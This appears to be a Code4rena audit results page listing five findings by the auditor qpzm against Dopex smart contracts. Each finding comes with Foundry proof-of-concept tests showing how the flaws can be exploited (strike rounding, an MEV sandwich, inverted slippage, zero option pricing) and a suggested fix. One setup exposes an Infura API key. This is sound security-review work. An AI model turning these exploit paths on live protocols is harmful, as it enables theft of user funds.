Dopex - qpzm's results

A rebate system for option writers in the Dopex Protocol.

General Information

Platform: Code4rena

Start Date: 21/08/2023

Pot Size: $125,000 USDC

Total HM: 26

Participants: 189

Period: 16 days

Judge: GalloDaSballo

Total Solo HM: 3

Id: 278

League: ETH

Dopex

Findings Distribution

Researcher Performance

Rank: 47/189

Findings: 5

Award: $336.13

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

96.3292 USDC - $96.33

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
edited-by-warden
duplicate-2083

External Links

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L270 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L576-L583 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L104

Vulnerability details

Impact

The strike price of an option should be 0.75 * currentPrice to support the peg between dpxETH and ETH. However, the strike price can be higher than the current rdpx price in ETH, because it is rounded up to 1e6. An attacker can force the protocol to sell all ETH in the VaultLP too cheap through purchasing options and settling them at the higher strike price.

Proof of Concept

Add tests/rdpxV2-core/POC.sol and run forge test --mt test_bond_at_low_rdpx_price. The price of rdpx is $21.4 and ETH worth $1631.38 as of September 5, 2023. This is about 0.013, namely 1.3e6 in decimals 8. It is likely that the price of rdpx in ETH decreases below 1e6 if ETH price increases or rdpx price decreases. In this case, the strike price is higher than the current price. Moreover, Rounding up by 1e6 may make the strike price equal to the current price as long as (current price * 0.25 <= 1e6).

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import { Test } from "forge-std/Test.sol";

import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import { Setup } from "./Setup.t.sol";
import { console } from "forge-std/console.sol";

contract Integration is ERC721Holder, Setup {
    function test_bond_at_low_rdpx_price() public {
        // @audit set rdpx price to 1e6
        rdpxPriceOracle.updateRdpxPrice(0.5e6);

        uint256 receiptTokens1 = rdpxV2Core.bond(1e18, 0, address(1));

        (uint256 strike, ,) = vault.optionPositions(0);
        assertEq(rdpxPriceOracle.getRdpxPriceInEth(), 0.5e6);
        // @audit strike price is 1e6 because it is rounded up to 1e6
        assertEq(strike, 1e6);
    }
}

Tools Used

Manual, foundry

roundingPrecision is too high considering the price of rdpx in ETH. Please lower the precision.

    uint256 public roundingPrecision = 1e6;

Assessed type

Math

#0 - c4-pre-sort

2023-09-09T05:28:30Z

bytes032 marked the issue as duplicate of #2083

#1 - c4-pre-sort

2023-09-12T04:43:43Z

bytes032 marked the issue as sufficient quality report

#2 - c4-judge

2023-10-20T14:11:42Z

GalloDaSballo marked the issue as satisfactory

Awards

17.313 USDC - $17.31

Labels

bug
3 (High Risk)
low quality report
satisfactory
upgraded by judge
duplicate-867

External Links

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L190-L196 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L218-L228

Vulnerability details

Impact

When addProceeds and addRdpx is called after a big amount of assets received, the tx can be sandwiched by a deposit and a redeem by a MEV attacker who wants to take the funding fee without risk.

Proof of Concept

Add the code below in tests/perp-vault.POC.sol and run forge test --mt test_addProceeds_MEV.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {Test} from "forge-std/Test.sol";

import {ERC721Holder} from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import {Setup} from "./Setup.t.sol";
import {PerpetualAtlanticVault} from "contracts/perp-vault/PerpetualAtlanticVault.sol";
import {console} from "forge-std/console.sol";
import "./Users/hyunminlee/Development/audit/code4rena/2023-08-dopex/contracts/perp-vault/PerpetualAtlanticVault.sol";

contract POC is ERC721Holder, Setup {
    // ================================ HELPERS ================================ //
    function mintWeth(uint256 _amount, address _to) public {
        weth.mint(_to, _amount);
    }

    function mintRdpx(uint256 _amount, address _to) public {
        rdpx.mint(_to, _amount);
    }

    function deposit(uint256 _amount, address _from) public {
        vm.startPrank(_from, _from);
        vaultLp.deposit(_amount, _from);
        vm.stopPrank();
    }

    function purchase(uint256 _amount, address _as) public returns (uint256 id) {
        vm.startPrank(_as, _as);
        (, id) = vault.purchase(_amount, _as);
        vm.stopPrank();
    }

    function setApprovals(address _as) public {
        vm.startPrank(_as, _as);
        rdpx.approve(address(vault), type(uint256).max);
        rdpx.approve(address(vaultLp), type(uint256).max);
        weth.approve(address(vault), type(uint256).max);
        weth.approve(address(vaultLp), type(uint256).max);
        vm.stopPrank();
    }

    // ================================ CORE ================================ //

    function test_addProceeds_MEV() external {
        setApprovals(address(1));
        uint256 amount = 1 ether;
        mintWeth(amount, address(1));
        weth.transfer(address(vaultLp), amount);

        // @audit address 1 deposit 1 ether
        vm.startPrank(address(1));
        uint256 shares = vaultLp.deposit(amount, address(1));
        console.log("shares: %s", shares); // 1e18
        vm.stopPrank();

        // @audit VaultLP has received 1 ether through addProceeds by PerpetualAtlanticVaul
        vm.startPrank(address(vault));
        vaultLp.addProceeds(amount);
        vm.stopPrank();

        vm.startPrank(address(1));
        (uint256 assets, uint256 rdpxAmount) = vaultLp.redeemPreview(shares);
        console.log("assets: %s, rdpxAmount: %s", assets, rdpxAmount); // 2e18, 0
        vaultLp.redeem(shares, address(1), address(1));
        vm.stopPrank();

        // @audit The value of a share becomes 2 times
        assertEq(weth.balanceOf(address(1)), 2 * amount);
    }
}

Tools Used

Manual, Foundry

Split reward distribution into epochs and increase the value of a share slowly as the funding rate of PerpetualAtlanticVault or xERC4626. https://github.com/fei-protocol/ERC4626/blob/main/src/xERC4626.sol https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L594-L614

Assessed type

ERC4626

#0 - bytes032

2023-09-12T08:09:34Z

LQ because of front-running on Arb

#1 - c4-pre-sort

2023-09-12T08:09:43Z

bytes032 marked the issue as low quality report

#2 - GalloDaSballo

2023-10-03T08:13:54Z

This seems to be a legitimate concern (need to understand impact better), if the vault gives X value at time Y, then you can always deposit at [0, X) so the concern doesn't require sandwhiching

#3 - c4-judge

2023-10-20T08:53:15Z

GalloDaSballo changed the severity to 2 (Med Risk)

#4 - c4-judge

2023-10-20T11:39:06Z

GalloDaSballo marked the issue as duplicate of #395

#5 - c4-judge

2023-10-20T19:01:07Z

GalloDaSballo marked the issue as duplicate of #867

#6 - c4-judge

2023-10-20T19:56:35Z

GalloDaSballo changed the severity to 3 (High Risk)

#7 - c4-judge

2023-10-20T20:09:08Z

GalloDaSballo marked the issue as satisfactory

Findings Information

Awards

39.433 USDC - $39.43

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sufficient quality report
duplicate-1805

External Links

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/reLP/ReLPContract.sol#L273-L275

Vulnerability details

Impact

Because tokenA is rdpx and tokenB is WETH, the rdpx price in ETH, i.e. tokenAInfo.tokenAPrice is less than 1. Therefore, minTokenAAmount is calculated to an unexpectedly smaller value, which makes the tx vulnerable to a sandwich attacks.

Proof of Concept

In ReLPContract.reLP, minTokenAAmount of swapping B to A is calculated by multiplying tokenAPrice to amountB. It must be divided by tokenAPrice to get the correct amount of A.

    // @audit tokenAAmount must be amountB * tokenB price in tokenA
    mintokenAAmount =
      (((amountB / 2) * tokenAInfo.tokenAPrice) / 1e8)

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/reLP/ReLPContract.sol#L273-L275

Tools Used

Manual

Divide tokenB amount by the price of tokenA to get the tokenA amount.

-    mintokenAAmount =
-        (((amountB / 2) * tokenAInfo.tokenAPrice) / 1e8) -
-        (((amountB / 2) * tokenAInfo.tokenAPrice * slippageTolerance) / 1e16);

+    mintokenAAmount =
+        (((amountB / 2) * 1e8) / tokenAInfo.tokenAPrice) -
+        (((amountB / 2 * 1e8)  / tokenAInfo.tokenAPrice * slippageTolerance) / 1e8);

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/reLP/ReLPContract.sol#L273-L275

Assessed type

Error

#0 - c4-pre-sort

2023-09-10T07:39:33Z

bytes032 marked the issue as duplicate of #1805

#1 - c4-pre-sort

2023-09-14T06:43:48Z

bytes032 marked the issue as low quality report

#2 - c4-pre-sort

2023-09-14T06:43:52Z

bytes032 marked the issue as sufficient quality report

#3 - c4-judge

2023-10-16T08:47:52Z

GalloDaSballo changed the severity to 2 (Med Risk)

#4 - c4-judge

2023-10-20T09:23:56Z

GalloDaSballo marked the issue as satisfactory

Findings Information

Labels

bug
2 (Med Risk)
downgraded by judge
high quality report
satisfactory
sponsor disputed
duplicate-761

Awards

158.2271 USDC - $158.23

External Links

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L333 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L539-L551 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/libraries/OptionPricingSimple.sol#L66-L93 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/libraries/BlackScholes.sol#L33-L89

Vulnerability details

Impact

The option price become too cheap when it is near the end of an epoch. There will be few participants to deposit WETH to VaultLP because it is not profitable relative to the risk.

Proof of Concept

An option can be settled regardless of when it is purchased. In other words, it has no expiry. https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L333 However, a price of an option depends on how many days left until the expiry in decimal 2. One day is denoted as 100. https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/libraries/OptionPricingSimple.sol#L66-L92

Add the code below in tests/perp-vault/POC.sol and run forge test --mt test_buyOption_Cheap. I used volatilityCap and minOptionPricePercentage as 1000 and 1 respectively. The value is taken from the live contract. https://arbiscan.io/address/0x2b99e3d67dad973c1b9747da742b7e26c8bdd67b#code

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import { Test } from "forge-std/Test.sol";

import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import { OptionPricingSimple } from "contracts/libraries/OptionPricingSimple.sol";
import { console } from "forge-std/console.sol";

// Core
import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol";
import { PerpetualAtlanticVaultLP } from "contracts/perp-vault/PerpetualAtlanticVaultLP.sol";

// Mock
import { MockToken } from "contracts/mocks/MockToken.sol";
import { MockRdpxEthPriceOracle } from "contracts/mocks/MockRdpxEthPriceOracle.sol";
import { MockVolatilityOracle } from "contracts/mocks/MockVolatilityOracle.sol";
import { MockOptionPricing } from "contracts/mocks/MockOptionPricing.sol";
import { MockStakingStrategy } from "contracts/mocks/MockStakingStrategy.sol";

// imporrt uni v2 interfaces
import { IUniswapV2Factory } from "contracts/uniswap_V2/IUniswapV2Factory.sol";
import { IUniswapV2Pair } from "contracts/uniswap_V2/IUniswapV2Pair.sol";
import { IUniswapV2Router } from "contracts/uniswap_V2/IUniswapV2Router.sol";

contract Setup is Test, ERC721Holder {
    MockToken public weth;
    MockToken public rdpx;
    MockStakingStrategy public staking;
    MockVolatilityOracle public volOracle;
    MockOptionPricing public optionPricing;
    MockRdpxEthPriceOracle public priceOracle;
    PerpetualAtlanticVault public vault;
    IUniswapV2Factory public uniswapV2Factory;
    IUniswapV2Router public router;
    IUniswapV2Pair public ammPair;
    PerpetualAtlanticVaultLP public vaultLp;

    string internal constant ARBITRUM_RPC_URL =
    "https://arbitrum-mainnet.infura.io/v3/c088bb4e4cc643d5a0d3bb668a400685";
    uint256 internal constant BLOCK_NUM = 24023149; // 2022/09/13

    // Function to setup the test
    function setUp() public {
        uint256 forkId = vm.createFork(ARBITRUM_RPC_URL, BLOCK_NUM);
        vm.selectFork(forkId);

        weth = new MockToken("Wrapped ETH", "WETH");
        staking = new MockStakingStrategy();
        volOracle = new MockVolatilityOracle();
        optionPricing = new MockOptionPricing();
        priceOracle = new MockRdpxEthPriceOracle();
        rdpx = new MockToken("Rebate Token", "rDPX");
        uniswapV2Factory = IUniswapV2Factory(
            0xc35DADB65012eC5796536bD9864eD8773aBc74C4
        );
        vault = new PerpetualAtlanticVault(
            "RDPX Vault",
            "PAV",
            address(weth),
            (block.timestamp + 86400)
        );
        router = IUniswapV2Router(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
        vaultLp = new PerpetualAtlanticVaultLP(
            address(vault),
            address(100),
            address(weth),
            address(rdpx),
            "WETH"
        );

        vault.setAddresses(
            address(optionPricing),
            address(priceOracle),
            address(volOracle),
            address(1),
            address(rdpx),
            address(vaultLp),
            address(this)
        );

        vault.grantRole(vault.RDPXV2CORE_ROLE(), address(this));

        rdpx.mint(address(this), 2000 * 1e18);
        weth.mint(address(this), 200 * 1e18);
        weth.mint(address(this), 3000 * 1e18);
        address _pair = uniswapV2Factory.createPair(address(rdpx), address(weth));

        ammPair = IUniswapV2Pair(_pair);

        rdpx.approve(address(router), type(uint256).max);
        weth.approve(address(router), type(uint256).max);

        weth.approve(address(vault), type(uint256).max);
        rdpx.approve(address(vault), type(uint256).max);

        weth.approve(address(vaultLp), type(uint256).max);
        rdpx.approve(address(vaultLp), type(uint256).max);

        router.addLiquidity(
            address(rdpx),
            address(weth),
            1000 * 1e18,
            200 * 1e18,
            100 * 1e18,
            200 * 1e18,
            msg.sender,
            block.timestamp + 300
        );

        vault.addToContractWhitelist(address(this));

        vault.updateFundingDuration(86400);
        priceOracle.updateRdpxPrice(0.02 gwei); // 1 rdpx = 0.2 WETH
    }
}

contract POC is ERC721Holder, Setup {
    // ================================ HELPERS ================================ //
    function mintWeth(uint256 _amount, address _to) public {
        weth.mint(_to, _amount);
    }

    function mintRdpx(uint256 _amount, address _to) public {
        rdpx.mint(_to, _amount);
    }

    function deposit(uint256 _amount, address _from) public {
        vm.startPrank(_from, _from);
        vaultLp.deposit(_amount, _from);
        vm.stopPrank();
    }

    function purchase(uint256 _amount, address _as) public returns (uint256 id) {
        vm.startPrank(_as, _as);
        (, id) = vault.purchase(_amount, _as);
        vm.stopPrank();
    }

    function setApprovals(address _as) public {
        vm.startPrank(_as, _as);
        rdpx.approve(address(vault), type(uint256).max);
        rdpx.approve(address(vaultLp), type(uint256).max);
        weth.approve(address(vault), type(uint256).max);
        weth.approve(address(vaultLp), type(uint256).max);
        vm.stopPrank();
    }

    OptionPricingSimple public optionPricingSimple;

    // ================================ CORE ================================ //
    function test_buyOption_Cheap() external {
        uint256 volatilityCap = 1000;
        uint256 minOptionPricePercentage = 1;
        optionPricingSimple = new OptionPricingSimple(volatilityCap, minOptionPricePercentage);
        vm.label(address(optionPricingSimple), "optionPricingSimple");
        vm.expectRevert("SafeERC20: approve from non-zero to non-zero allowance");
        vault.setAddresses(
            address(optionPricingSimple),
            address(priceOracle),
            address(volOracle),
            address(1),
            address(rdpx),
            address(vaultLp),
            address(this)
        );

        // @audit set the funding duration to 7 days, the same as PerpetualAtlanticVault
        vault.updateFundingDuration(86400 * 7);

        // prepare the vaultLp with WETH
        setApprovals(address(1));
        mintWeth(5 ether, address(1));
        deposit(5 ether, address(1));

        uint256 amount = 1 ether;
        mintWeth(amount, address(this));

        // @audit the option price is 16481 when the left time is 7 days
        skip(86400); // skip to the next epoch
        vault.purchase(amount, address(1));
        assertEq(optionPricingSimple.getOptionPrice(15000000, 20000000, 100, 604800), 16481);

        // @audit if the left time is less than 864, revert with division by zero error.
        // @audit the option price is 0 when the left time is 864. Input `expiry` is divided by 864 in OptionPricingSimple.getOptionPrice
        skip(7 days - 864);
        vault.purchase(amount, address(1));
        assertEq(optionPricingSimple.getOptionPrice(15000000, 20000000, 100, 864), 0);

        // @audit the option price increases if the expiry gets longer.
        assertEq(optionPricingSimple.getOptionPrice(15000000, 20000000, 100, 365 days), 4458523);
    }
}

Tools Used

Manual, foundry

Reconsider the pricing of the option. If the option does not expire, the price should be calculated with a very long expiry. And Black-Scholes model is for an European option which a buyer can exercise only at the expiration date.

The Black-Scholes model is only used to price European options and does not take into account that American options could be exercised before the expiration date. Reference: https://www.investopedia.com/terms/b/blackscholes.asp

Assessed type

Math

#0 - c4-pre-sort

2023-09-09T11:16:12Z

bytes032 marked the issue as high quality report

#1 - c4-pre-sort

2023-09-09T11:16:17Z

bytes032 marked the issue as primary issue

#2 - c4-pre-sort

2023-09-11T15:43:36Z

bytes032 marked the issue as duplicate of #1440

#3 - c4-pre-sort

2023-09-14T09:10:46Z

bytes032 marked the issue as remove high or low quality report

#4 - c4-pre-sort

2023-09-14T09:10:51Z

bytes032 marked the issue as high quality report

#5 - c4-pre-sort

2023-09-14T09:10:57Z

bytes032 marked the issue as not a duplicate

#6 - c4-pre-sort

2023-09-14T09:11:17Z

bytes032 marked the issue as primary issue

#7 - c4-sponsor

2023-09-25T16:17:36Z

psytama (sponsor) disputed

#8 - psytama

2023-09-25T16:18:52Z

This is a design choice and the funding would be fair even if the initial premium paid by the user is less at the end of the epoch.

#9 - qpzm

2023-10-12T18:37:54Z

The sponsor's words are understandable that a put option in the protocol does not expire but funding fee is paid regularly.

However there are three points to be noted.

  1. It should be clarified that the funding fee is the option price for every epoch, because the term is also used for an incentive to balance call/put in a perp dex.
  2. At the end of the POC, I, showed that if uint256 timeToExpiry = nextFundingPaymentTimestamp() - block.timestamp is less than 864, the tx reverts. https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L283
        // @audit if the left time is less than 864, revert with division by zero error.
        // @audit the option price is 0 when the left time is 864. Input `expiry` is divided by 864 in OptionPricingSimple.getOptionPrice
        skip(7 days - 864);
        vault.purchase(amount, address(1));
        assertEq(optionPricingSimple.getOptionPrice(15000000, 20000000, 100, 864), 0);
  1. In addition, I will add this code at the end of the original test to show that option price is zero for 1.5 day before the end of an epoch. This means the option price is not paid for 1.5 day for every epoch and it should be notified to the option sellers, namely PerpetualAtlanticVaultLP providers.
        // @audit zero until `uint256 timeToExpiry` <= 152
        assertEq(optionPricingSimple.getOptionPrice(15000000, 20000000, 100, 86400 + 45791), 0);
        // @audit uint256 timeToExpiry = (expiry * 100) / 86400; becomes 153 -> not zero
        assertGt(optionPricingSimple.getOptionPrice(15000000, 20000000, 100, 86400 + 45792), 0);

#10 - c4-judge

2023-10-20T11:54:46Z

GalloDaSballo marked the issue as duplicate of #761

#11 - c4-judge

2023-10-20T11:54:59Z

GalloDaSballo changed the severity to 2 (Med Risk)

#12 - c4-judge

2023-10-20T15:36:57Z

GalloDaSballo marked the issue as satisfactory

#13 - c4-judge

2023-10-20T19:10:39Z

GalloDaSballo removed the grade

#14 - c4-judge

2023-10-21T07:21:09Z

GalloDaSballo marked the issue as satisfactory

Awards

24.8267 USDC - $24.83

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sufficient quality report
duplicate-153

External Links

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/reLP/ReLPContract.sol#L286-L307

Vulnerability details

Impact

Calling reLP may accumulate losses of tokenB(weth), because it is not returned to rdpxV2Core.

Proof of Concept

The process of reLP consists of 3 steps and tokenA(rdpx) or tokenB(weth) may be left to the contract because IUniswapV2Router.addLiquidity takes tokens in proportion to the token ratio of the pair.

  1. IUniswapV2Router.removeLiquidity
  2. IUniswapV2Router.swapExactTokensForTokens: this changes the ratio of LP pair
  3. IUniswapV2Router.addLiquidity balanceOf is only called to addresses.tokenA. There is no way to send all left tokenB to rdpxCore, so the remainders keep accumulated.

Reference

Tools Used

Manual

Return tokenB, i.e. weth, to rdpxV2Core.

    // transfer rdpx to rdpxV2Core
    IERC20WithBurn(addresses.tokenA).safeTransfer(
      addresses.rdpxV2Core,
      IERC20WithBurn(addresses.tokenA).balanceOf(address(this))
    );
+   // transfer weth to rdpxV2Core
+   IERC20WithBurn(addresses.tokenB).safeTransfer(
+     addresses.rdpxV2Core,
+     IERC20WithBurn(addresses.tokenB).balanceOf(address(this))
+   );
    IRdpxV2Core(addresses.rdpxV2Core).sync();

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/reLP/ReLPContract.sol#L286-L307

Assessed type

Token-Transfer

#0 - c4-pre-sort

2023-09-10T10:44:20Z

bytes032 marked the issue as duplicate of #1286

#1 - c4-pre-sort

2023-09-11T15:38:27Z

bytes032 marked the issue as sufficient quality report

#2 - c4-judge

2023-10-10T17:52:40Z

GalloDaSballo changed the severity to 2 (Med Risk)

#3 - c4-judge

2023-10-18T12:13:26Z

GalloDaSballo marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter